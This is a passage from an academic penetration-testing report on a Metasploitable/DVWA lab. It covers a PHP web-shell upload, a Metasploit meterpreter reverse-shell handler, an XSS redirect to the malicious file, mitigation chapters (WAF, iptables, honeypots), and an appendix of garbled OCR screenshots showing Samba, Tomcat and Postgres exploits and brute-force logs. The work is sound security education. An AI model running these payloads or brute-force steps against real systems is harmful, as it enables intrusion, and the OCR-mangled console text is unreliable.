This algorithm is registered in a PHP extension file (test.php) which will be uploaded in the File Upload form of the DVWA project, once it is mounted the page will report the path where it was uploaded, it must be taken into account that during the DVWA configuration process the read, write and execute permissions (777) on the /var/www/html/DVWA folder have been changed to /hackable/uploads/. It is in this folder where the mounted files will be hosted, to be able to execute the script with the previously developed shell, in the browser the instructions will be executed as follows, like this:
(http://192.168.1.109/DVWA/hackable/uploads/prueba.php?cmd=ls)
This would be evidenced by the execution of the "ls" command, which displays a list of directories and files in a given directory.
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[bookmark: _bookmark136][bookmark: _Toc170419799]Figure 4.58. File Upload

Figure 4.58 shows the creation of the file "unad.php" in which an Exploit is saved that allows remote access (reverse shell) "php/meterpreter/reverse_tcp" through the Metasploit software. The required parameters such as the private IP of the computer acting as attacker (Kali Linux) and the listening port (4444) reserved for the connection are also registered. It should be noted that the PHP file created must delete the "#" character from the first line in order to be able to execute the instructions, thus:
msf> use exploit/multi/handler
msf> set PAYLOAD php/meterpreter/reverse_tcp msf> set LHOST 192.168.1.108 (attacker IP - Kali) msf> set LPORT 4444
msf> exploit

What has been registered corresponds to a handler that will be listening for a connection from the reverse Payload, this will give a Meterpreter shell. 
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[bookmark: _bookmark137][bookmark: _Toc170419800]Figure 4.59. Creation of malicious PHP file with Metasploit (Trojan)

Figure 4.59 corroborates the use of the Iceweasel web browser in the virtual machine with the Kali Linux operating system (attacker machine), you can see the combination of techniques that allow exploiting the File Upload and Stored Cross Site Scripting vulnerabilities, through the following instructions it is possible to execute the malicious file that manages to provide access to a session meterpeter to the attacker, as follows:
Name: Upload
<script>window.location="http://192.168.1.109/dvwa/hackable/uploads/unad.php"
</script>

[bookmark: _bookmark138]The "window.location" instruction can be used to exploit the vulnerability and redirect to an external web page or refresh the current web page. Finally, Figure 4.60 shows how the Meterpreter session is obtained with Metasploit, which is achieved when a client has accessed the link where the malicious file that allows the "http://192.168.1.109/DVWA/hackable/uploads/unad.php" connection is hosted. The power of this technique is that any user through any host, regardless of the web browser used, can compromise its security and not that of the server (host that hosts the DVWA project). It should be borne in mind that the purpose of the Metasploit Meterpreter is to perform the post-exploitation phases of pentesting.
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[bookmark: _bookmark139][bookmark: _Toc170419801]Figure 4.60. Getting Meterpreter session

The power of this technique is that any user through any host, regardless of the web browser used, can compromise its security and not that of the server (host that hosts the DVWA project). It should be borne in mind that the purpose of the Metasploit Meterpreter is to perform the post-exploitation phases of a Pentesting









[bookmark: _Toc170419802][bookmark: _Toc171011057]CHAPTER FIVE
[bookmark: _Toc170419803][bookmark: _Toc171011058]DISCUSSION
[bookmark: _Toc171011059]5.1. Overview
Chapter Five discusses the findings from the applied project conducted in the virtual environment Metasploitable. It interprets the results of the penetration tests and security audits, analyzing their implications for information security within the system. This chapter explores the significance of the identified vulnerabilities, evaluates the effectiveness of the implemented security measures, and provides recommendations for future improvements. It also reflects on the limitations of the study and suggests directions for further research in the field of computer security.
[bookmark: _Toc170419804][bookmark: _Toc171011060]5.2. Proposed mitigation measures for vulnerabilities identified
To compare possible abnormal behaviour and take the necessary measures to confront the attack. Likewise, disabling those functions or services that can be compromised by cybercriminals and serve as a bridge to contribute to a denial of service is imperative to prevent the network itself from being part of the cyber offensive. The correct configuration of routers serves to prevent DDOS attacks, these elements have alternatives to avoid flooding in TCP/UDP protocols, as well as limiting the number of connections to services, reducing lapses in the establishment of connectivity, avoiding the loading of inactive sessions on the server, thus preventing them from being stored in the memory table.
[bookmark: _bookmark145]Other actions to mitigate the effects of distributed denial of service attacks include restricting the rate of traffic coming from a dedicated host, limiting the bandwidth consumption of systems that violate security rules, monitoring TCP/UDP transport layer protocol connections, keeping the system and service up to date, having security updates available, implement anti-spoofing measures when providing a service to specific clients with defined IP identification, mitigate the use of system resources such as memory, CPU, network, etc., perform regular IT security audits, have contingency planning for possible incident response plans.
Security misconfiguration. This refers to those mechanisms that operating systems and software have in order to make appropriate adjustments in the configuration, with the purpose of reducing or mitigating the risks of computer attacks as part of the experience or knowledge in computer security, the default configurations in some systems compromise the integrity, availability and confidentiality. It is also believed that the process of unauthorised access to a computer system is difficult if the correct configuration and administration is in place, therefore, if there is an inadequate configuration in such a system it can be easily compromised by a cybercriminal.
[bookmark: _bookmark147]One of the main differences in the characteristics of desktop and web applications is that the latter, according to its approach, is ubiquitous. This property is more prone to computer attacks, the vast majority of these attacks currently take advantage of design flaws or bugs in the different software. During the life cycle of web applications, vulnerabilities sometimes become apparent, but under intrinsic project circumstances it is not possible to immediately remedy or rectify the flaw because it requires a partial redesign of the software, or in some cases it is not possible to make the necessary modifications.
Taking into account the above, other instances that provide immediate and secure actions must be used. A Web Application Firewall corresponds to a particular type of firewall, it is used as an access control action to a web service, it acts between the web application and the client in order to intercept and evade requests classified as malicious that may compromise the security of the application. Keep in mind that a WAF is a workaround until the bug identified in the software is fixed, and is not intended to replace the security properties of the web application itself. The design solution is a compromise, although it does not hurt to have this tool available. Figure 4.61 shows the structure of the implementation of a WAF.
[bookmark: _Toc170419805][image: ]
[bookmark: _Toc170419806]Figure 4.61. WAF concept (Source Author)

In a Web Application Firewall, the necessary rules must be configured to avoid the exploitation of known vulnerabilities, such as Cross-Site Scripting, Cookie Poisoning, SQL Injection Denial of service, buffer overflows, and inclusion of both local and remote files, etc. One of the main advantages of the Web Application Firewall is that it acts on the last layer of the OSI model, in contrast to the usual firewall that acts on the network and transport layer, leaving possible gaps on the HTTP port.

[bookmark: _bookmark149]Honeynet. A possible alternative to consider would be the use of a decoy system, which is designed to be compromised and exploited by cybercriminals, the trap allows to detect all the logs made during the attack, the main objective being to detect intruders as well as to be an attack prevention tool. Note that one should not log traffic to or from the HoneyPot, as you could infer that you are suffering from a hacking attack or have been compromised in your security, a detailed explanation of the HoneyPot approach is evident in Figure 4.62.
[bookmark: _bookmark150][image: ]
[bookmark: _Toc170419807]Figure 4.62. HoneyPOT Concept

[bookmark: _bookmark151]Firewall - rules. The "iptables" tool is a type of firewall that filters all network traffic in the Linux kernel operating system, which works on the basis of rules such as INPUT, OUTPUT, FORWARD and NAT. It also has operations for each rule that allow accepting, rejecting, notifying, registering requests, among others.
#sudo iptables -A INPUT -i eth1 -p tcp --dport 21 -j DROP #sudo iptables -A INPUT -p tcp --dport 23 -j REJECT #sudo iptables -A INPUT -p icmp -j REJECT

The above rules allow the denial of incoming traffic from ports 21 (FTP), 23 (Telnet) and ICMP, so that it would not be possible with an ordinary command to detect services with NMAP for the discovery of information from the machine to be audited. Likewise, it is possible through Snort as an intrusion detection and prevention system in Microsoft and GNU/Linux operating systems, to discover those actions catalogued as suspicious in the systems.
[bookmark: _bookmark152][bookmark: _bookmark153]Password control. The operating systems have security elements necessary as authentication methods in the system, during the login process it is required to have a user and password which are inferred to be under the user's reserve as part of the information security policies, this method of password control is used in order to maintain security in the different accounts that are part of the operating system, leading to determine the identity and authentication of each client that uses the system. Also, security controls are determined by defining password expiration, password confidentiality, as well as secure and robust password configurations that guarantee resistance to guessing due to brute force or dictionary attacks, among other security control measures.
[bookmark: _bookmark154]Back-up copies. It is the essential basis for the assurance of assets, the purpose is to back up data through external storage media in order to guarantee security policies (availability, integrity and confidentiality), thus providing mechanisms for the recovery of information in the event of possible risk eventualities. It also provides the continuity of an organisation's services, restoration of an operating system, among others. 
[bookmark: _bookmark155]Security and access controls are determined by defining the periodicity of backups, classification of assets, information assurance process, defined policies for backup failures, custodial responsibility, etc. Access control. This is the security mechanism that identifies and authorises user access to a system under the postulates of confidentiality, integrity and availability. It is carried out through the approval to execute certain protected resources, which may be software, networks, services, systems, etc. Security controls are determined by defining passwords, fingerprint readers, facial patterns, among other measures to guarantee secure connections.
[bookmark: _bookmark156]System log. It acts incognito whose purpose is to record the different eventualities carried out in the system, they are usually consigned in text files according to the classification of the activities developed by the user, they are generally inspected during a forensic analysis as part of the implementation of computer forensics, which is destined to the collection of digital evidences of computational origin with different purposes. Security controls are determined by recording system failures, user access, software installation and other important processes and events.
[bookmark: _bookmark157][bookmark: _bookmark158][bookmark: _bookmark159]System configuration control. These are those mechanisms that operating systems have in order to make appropriate adjustments to the system configuration, choosing to reduce or mitigate the risks of computer attacks as part of the experience or knowledge, the default settings in some operating systems compromise the integrity, availability and confidentiality of information, also, it is estimated that the process of unauthorised access to a computer system is arduous if you have the correct configuration and administration. Security controls are implemented in firewalls, upgrades, system configurations.













[bookmark: _Toc170419808][bookmark: _Toc171011061]CHAPTER SIX
[bookmark: _Toc170419809][bookmark: _Toc171011062]CONCLUSION AND RECOMMENDATION
[bookmark: _Toc171011063]6.1. Overview 
Chapter Six summarizes the key findings and conclusions from the applied project on the virtual environment Metasploitable. It reflects on the overall effectiveness of the methodologies and tools used in identifying and mitigating security vulnerabilities. This chapter also provides specific recommendations for enhancing information security within similar environments and suggests best practices for future security audits. Finally, it outlines potential areas for further research and development in the field of computer security to address emerging threats and challenges.
[bookmark: _Toc170419810][bookmark: _Toc171011064]6.2. Conclusion
The aim of this study was to implement a Pentesting test using Metasploitable, focusing on the identification and exploitation of vulnerabilities, and developing mitigation measures for a small organization’s virtual network systems. This research aimed to answer several key questions: identifying existing vulnerabilities in the virtual network system, understanding methods of exploiting these vulnerabilities through the Pentesting Framework, evaluating the effectiveness of Metasploitable for penetration testing, and formulating strategies to mitigate risks in the Metasploitable distribution.
The study followed the guidelines of the OSSTMM (Open Source Security Testing Methodology Manual) to conduct the penetration test, facilitating the analysis, detection, and exploitation of security vulnerabilities through planned implementation of computer security methods and tools. This study aims to implement penetration testing (pentesting) using Metasploitable to identify, exploit, and mitigate vulnerabilities in a small organization's virtual network systems. The specific objectives are to outline methods for exploiting network vulnerabilities through the Pentesting Framework, identify vulnerabilities in the virtual network system, execute penetration testing on the identified vulnerabilities using the Metasploitable infrastructure, and document strategies for mitigating the risks associated with these vulnerabilities.
The implementation results include multiple proofs of concept (PoC) demonstrating the exploitation of different vulnerabilities. The first PoC involves a CGI-PHP vulnerability, which allows viewing and executing PHP code through a query string parameter in PHP-CGI based configurations. The vulnerability, identified as CVE-2012-1823, was exploited using Metasploit to achieve unauthorized access and modification of a web page. The second PoC targets a backdoor in VSFTPD version 2.3.4, exploiting a security hole in the software to gain root access. Similarly, the third PoC exploits a backdoor in UnrealIRCD 3.2.8.1, demonstrating how the vulnerability can be used to obtain a root shell. Further PoCs explore vulnerabilities in Java RMI Server, Samba (v3.0.20 to 3.0.25rc3), and Tomcat administration interfaces. These PoCs involve detailed steps to exploit the vulnerabilities, gain unauthorized access, and document the exploitation process. Additionally, the study includes a dictionary attack on weak Postgres credentials, demonstrating the effectiveness of brute force attacks.
The findings revealed several key vulnerabilities in the virtual network system, including weak passwords, unpatched software, and misconfigured services. Exploitation methods detailed through the Pentesting Framework demonstrated the ease with which these vulnerabilities could be exploited, using tools like Hping3, Hydra, and Metasploit. It was found that Metasploitable effectively facilitated the penetration testing process, allowing for the identification and exploitation of critical vulnerabilities. The study also highlighted the importance of robust security measures, including port filtering, strong credentials, and proper security configurations.
Throughout the project, emphasis was placed on documenting the methodology for exploiting vulnerabilities using Metasploit. The findings highlighted the importance of robust security measures, including port filtering, strong credentials, and proper security configurations. The study underscored the necessity of an information security management system to manage IT security incidents effectively, ensuring the integrity, confidentiality, and availability of information. 
The project aimed to mitigate threats in the Metasploitable distribution, demonstrating the ability to respond efficiently to potential risks. The IT security audit identified and provided control opportunities for risks, benefiting the organization. Strategies for vulnerability mitigation included specialized IT security tools like intrusion detection systems, unified threat management, and web application firewalls. The role of IT security administrators was emphasized as crucial for effective security management. The study affirmed that Metasploitable, designed for testing penetration techniques, offers a secure environment for ethical hacking practice, emphasizing the urgent need to enhance system security to prevent computer attacks.
The study successfully achieved its general and specific objectives by detailing methods of exploiting network vulnerabilities, identifying vulnerabilities in the virtual network system, exploiting these vulnerabilities using Metasploitable, and documenting effective risk mitigation strategies. This comprehensive approach provides a solid foundation for improving the security of small organization’s virtual network systems. The findings underscore the critical need for continuous security improvements and the implementation of robust security management systems to protect against evolving cyber threats.
[bookmark: _Toc170419811][bookmark: _Toc171011065]6.3. Recommendation 
i. Implement an Information Security Management System (ISMS). Establish and maintain an ISMS. Establishing an ISMS is crucial for preventing risks and ensuring smooth process execution by providing structured computer security mechanisms. This system helps manage security incidents and breaches, thereby improving organizational efficiency and achieving the organization's objectives.
ii. Adopt a Risk Analysis and Management Methodology: Develop and implement a comprehensive risk management plan. Adopting a comprehensive risk analysis and management methodology is essential for identifying, evaluating, and mitigating risks to organizational assets from various threats. A proactive risk management plan is crucial for business continuity, helping to reduce potential economic and reputational damage.
iii. Ensure Business Continuity: Identify and prioritize critical business processes. Ensuring business continuity involves identifying and prioritizing key processes that are essential for maintaining service delivery. Focusing on these processes helps the organization adapt to specific needs and avoid severe consequences, including potential dissolution that can arise from neglecting these aspects.
iv. Utilize Established Risk Analysis and Management Methodologies: Apply methodologies such as MAGERIT, OCTAVE, CRAMM, CORAS, MEHARI, NIST SP 800-30, and COBIT. Utilizing established risk analysis and management methodologies provides structured tools and processes for effective risk identification, evaluation, and treatment. These methodologies support informed decision-making and enhance overall risk management practices.


CHAPTER SEVEN
                                                                 REFLECTION
The project taught the importance of applying theoretical knowledge in real-world applications, such as network vulnerabilities and penetration testing frameworks. It highlighted the need for a structured approach, gathering information, identifying vulnerabilities, and exploiting them. The project also demonstrated the importance of proper configuration and routine updates in preserving network security. The initial setup and configuration of virtual environments were challenging, and the exploitation stage required repeated testing and adjustment of the methodology. Clear and concise documentation was crucial for replication. The project provided a better understanding of network security and the usefulness of pentesting techniques, guiding future cybersecurity endeavors. Collaboration, continuous learning, and an organized approach are essential for professional development.
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Java RMI - Server Insecure Default Configuration Java Code
Execution (Metasploit)

Author: Metasploit Published: 2011-07-15
CVE: CVE-2011-3556  Type: Remote Platform: Multiple
Aliases: N/A Advisory/Source: N/A Tags: Metasploit Framework (MSF)

E-DB Verified:»  Exploit: § Download/ View Raw  Vulnerable App: N/A

«Previous Exploit Next Exploit »

#
# $1d: java_rmi_server.rb 13186 2011-67-15 20:44:08Z egypt $
#

#
# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/franework/
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Module Options

ay the available options, load

msf > use exploit/multi/samba/usermap_script
msf exploit( ) > show targets

msf exploit( ) > set TARGET <target-id>
msf exploit( ) > show options

msf exploit( ) > exploit
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Samba 3.020 < 3.0.25rc3 - ‘Username’ map script’ Command Execution (Metasploit) - Google Chrome

& nttps://www.exploit-db.com/exploits/ 1

IEI’I?I'IA%IESQE Home loits  Shellcode  Papers  Google Hacking Database  Submit  Search

Samba 3.0.20 < 3.0.25rc3 - 'Username’' map script' Command
Execution (Metasploit)

EDB-ID: 16320 Author: Metasploit Published
CVE: CVE-2007-2447  Type: Remote Platform: Unix
Aliases: N/A Advisory/Source: N/A Tags: Metasploit Framework (MSF)

E-DB Verified:?  Exploit: § Download / View Raw  Vulnerable App: N/A

« Previous Exploit Next Exploit »

#
# $1d: usermap_script.rb 10940 2010-68-18 17:24:467 jduck $
#

#
# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Hetasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.con/franework/

#

require ‘msf/core’
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Modute options (exploit/multi/samba/usermap_script) :

Name Current Setting Required Description

RHOST yes The target address
RPORT 139 yes The target port

expioit target
1d Name
0 Automatic
st exploit(usermap script) > set RHOST 192.168.1.169
RroST = 192.168.1.109
exploit(usermap_script) > show options
Module options (axploit/multi/samba/usermap_script):

Name Current Setting Required Description

RHOST 192.168.1.169  yes The targdt/abdress
RPORT 139 yes The target’port

exploit target
Id Name

Automatic

Jnst oxplot (usermap_script) > 1l
3 roo@Kal - € Iceweasel
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root@Kall:~# mysql -h 192.168.1.169 -u root -p
Entor password:

natcone to the MySQL monitor. Commands end with ; or \g.
Jour MysaL connection 1d is &

server version: 5.8.51a-3ubuntus (Ubuntu)

copyright (c) 2000, 2013, Oracle and/or its affiliates. AL rights reserved

oracte is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective

Type 'help:' or “\n' for help. Type "\c' to clear the current input statement

rysal> show databases

Database
infarmation_schema
dvwa

metasploit

mysql

owasplo

tikiwiki
tikiwikilss

|

|

|

|

|

|

|

7 rows in set (0.60 sec)

nysai= Il

Foot@Kali: -

[root@Kali -] T (iceweasel] 5 root@Kati -
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[Escape character 1s

root@netasploitable:/# uname

[Linux metasploitable 2.6.24-16-servar #1 SHP
rootenetasploitable:/# root@netasploitable:/#

[root@Kals T ficowessel]

) root@Kali -
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USERPASS FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_userpass.txt
Jcontaining Tspace-seperated) users and passwords, one pair per line

USER_AS_PASS true
e usernans as the password for all users

USER_FILE /opt/metasploit/apps/pro/mst3/data/wordlists/postgres_default_user.txt
fcontaining users, one per Line

VERBOSE crue
Jor to print output for all attempts

auxiliary(postares login) > exploit

192.168.1.109:5432 Postgres - [01/21] - Trying usernane:'postgres’ with password:'' on database 'templatal’
192.168.1.169:5432 Postgres - Invalid username or password: 'postgres’:'"
192.168.1.169:5432 Postgros - [01/21] - Username/Password failed.
1921168.1.109:5432 Postgres - [02/21] - Trying Username:' with password:'' on database 'templatel’
192.168.1.169:5432 Postgres - Invalid usernane or passwors
192 168 5432 Postgres - [02/21) - Username/Password failed
192.168.1.169:5432 Postgres - [03/21] - Trying username:'scott' with password:'' on database 'templatel’
192.168.1.109:5432 Postgres - Invalid username or password: 'scott’:':
192168 5432 Postgres - [03/21) - Username/Password failed.
192.168.1.169:5432 Postgres - [04/21] - Trying usernane:'adnin’ with password:'' on database 'templatel’
192.168 15432 Postgres - Invalid usernane or password: 'admin': '’
192168.1.169:5432 Postgres - [04/21] - Username/Password failed.
192.168.1.169:5432 Postgres - [05/21] { Jr¥ fianof pdstOrés [ WA Wassword: 'postgres’ on database ' ten|
Postgres o ]
Postares templatel

5432 Postgres - [06/21) - Trying username:'scott' with password:'scott’ on database 'templatel
5432 Postgres - Invalid username or password: 'Scott’:'scott’

5432 Postgres - [06/21) - Username/Password failed.

15432 Postgres - [07/21] - Trying username:'adnin’ with password:'adnin’ on database templatel
15432 Postgres - Invalid usarname or password: ‘admin’:admin’

15433 bostares - (07,211 - Usernane/Paseword faited-
& [icewsassl] B root@Kati - = I
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oot@kKali:~# psql -h 192.168.1.9 -U postgres
cont rasefa para usuario postgres:

sql (9.1.9, servidor

conexién SSL (cifrado:

igite «help» para obtener

ostgres=# \1

8.3.1)
ADVERTENCIA: psql versién 9.1,
Algunas caracter

servidor versién 8.3.
sticas de psql pueden no funcionar.
DHE -RSA-AES256-SHA, bits: 256)

ayuda .

Listado de base de datos

| Duefio

postgres
template®

postgres
postgres

templatel | postgres

(3 filas)

e |

Privilegios

=c/postgres
postgres=CTc/postgres
=c/postgres

postgres=CTc/postgres
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Module Optlons

To display th

> use auxiliary/admin/smb/samba_symlink_traversal
auxiliary( ) > show actions

auxiliary( ) > set ACTION <action-name>
auxiliary( ) > show options

auxiliary( ) > run
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‘Samba 345 - Symiink Directory Traversai - Google Chrome
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4096 dir
20480 dir
20480 dir
2096 dir

jneterpreter > cat index.php

2012-65-26
2012-65-20
2012-65-26
2012-65-28

14:22:48 -0560 test

1

8 -0500 tikiwiki

14:22:48 0560 tikiwiki-old

14:22:

8 0500 twiki

<ntm><head><title>Hetasploitable2 - Linux</title></head><body>

varning: Never expose this VM to an untrusted network!

contact : msfdsv(atInetasploit.con

Login with msfadmin/nsfadnin to get started

href="/twiki/">TWiki</a></11>
href="/phphyAdnin/">phpHyAdnin</a></11>
hraf="/nutillidae/">Mutillidas</a></11>
href="/dvwa/">D\WA</a></11>

href="/dav/">WebDAV</a></11>

B roon@ic - € Metasploiablez - Linu

& root@Kali -
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st auxitiary(samba_synli

traversal) > show options

Modute options (auxiliary/adnin/smb/sanba_symlink_traversal) :

Name Current Setting Required Description

RHOST 192.168.1.109
RPORT 445

SMESHARE  tmp
SMBTARGET  rootfs

st auxiliary(sanba_sywlink

yes The target address
yes Sat the SMB sarvice port

yes The name of a writeable share on the server

yes The name of the directory that should point to the root filesystem

traversal) > exploit

[*] Connecting to the server.
[*] Trying to mount writeabla share 'tmp

[*] Trying to link 'rootfs’

to the root filesysten...

(] Now access the following share to browse the root filesystem:
1 \\192.168.1.169\tmp\ oot fs\

("] Auxiliary module execution completed

st auxiliary(samba_symlink

traversal) > exit

[rootaKaliz~# smbclient //192.168.1.109/tmp

Entar root's password:
[Anonymous 1ogin successful

ponain=[WoRKGROUP] 0S=[Unix] Serve

smb: \>

Sanba|3,8.26-Dgbian]
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Authors
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Module Options

o disp vailable options, lo

> use auxiliary/admin/http/tomcat_administration
auxiliary( ) > show actions

auxiliary( ) > set ACTION <action-name>
auxiliary( ) > show options

auxiliary( ) > run
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Jnst auxiliary(tomcat_administrat

1) > show options

Modute options (auxiliary/admin/http/toncat_administration) :

Name Current Setting Required
Proxies no
RHOSTS 192.168.1.109  yes
RPORT 8186 yes
THREADS 1 yes
TOMCAT_PASS no
TONCAT_USER no

VHOST o

Description

Use
The
The
The
The
The

a proxy chain

target address rangs or CIOR identifier
target port

number of concurrent threads

password for the specifisd username
usernane to authenticate as

HTTP server virtual host

st auxiliary(tomcat_aduinistration) > exploit

[*] http://192.168.1.109:8186/admin (Apache-Coyote/1.1] [Apache Tomcat/5.5] [Tomcat Server Administration] [tomc

at/toncat]
[*] Scanned 1 of 1 hosts (106% conplete)
[*] Auxiliary module execution completed
st auxiliary(tomcat aduinistration) > |
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Module Options

msf > use exploit/multi/http/toncat_mgr_deploy
nsf exploit( ) > show targets

exploit( ) > set TARGET <target-id>
exploit( ) > show options

exploit( ) > exploit
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nsf exploit(tomcat _mgr_deploy) > show options

Module options (exploit/multi/http/toncat_mar_deploy) :

Nano Current Setting Required Description

PASSWORD  tomcat no

PATH /manager yes
Proxies o
RHOST = 192.168.1.109  yes
RPORT 8180 yos
USERNAME  tomcat o
VHOST no

The password for the spacified usernane
The URI path of the manager app (/deploy and /undeploy will be used)
Use a proxy chain

The target address

The targat port

The username to authenticate as

HTTP sarver virtual host

Payload options (java/meterpreter/reverse_tep) :

Name  Current Setting Required Description

LHOST 192.168.1.108  yes
LPORT 4444 yes

exptost targot
14 Name

o Automatic

ost explott(tomcat_mar_deptoy) > B

The listen address
The Uisten port
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SQL Injection
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st > use exploit/multi/handler
insf exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp

root@lorgeAnorofPAYLOAD => php/meterpreter/reverse_tcp

/root nsf exploit(handler) > set LHOST 192.168.1.6

rootaJorgeAnorofLHOST => 192.168.1.6

FootalorgeAnorojnst exploit(handier) > set LPORT 4444

rootalorgeAnorofLPORT => 4444

-1.6 LPORT=4444 nst exploit(handler) > exploit

rootaJorgeanorof

-rw-r--r-- 1 rof(*] Started reverse handler on 192.168.1.6:4444

rootalorgeAnoro[*] Starting the payload handler...

[sudo: unable tol[*] Sending stage (39217 bytes) to 192.168.1.5

rootalorgeAnorof[*] Meterpreter session 1 opened (192.168.1.6:4444 -> 192.168.1.5:34170) at 2024

sudo: unable to|-06-27 60:38:29 -0500

FootaJorgeAnorof

neterpreter > If
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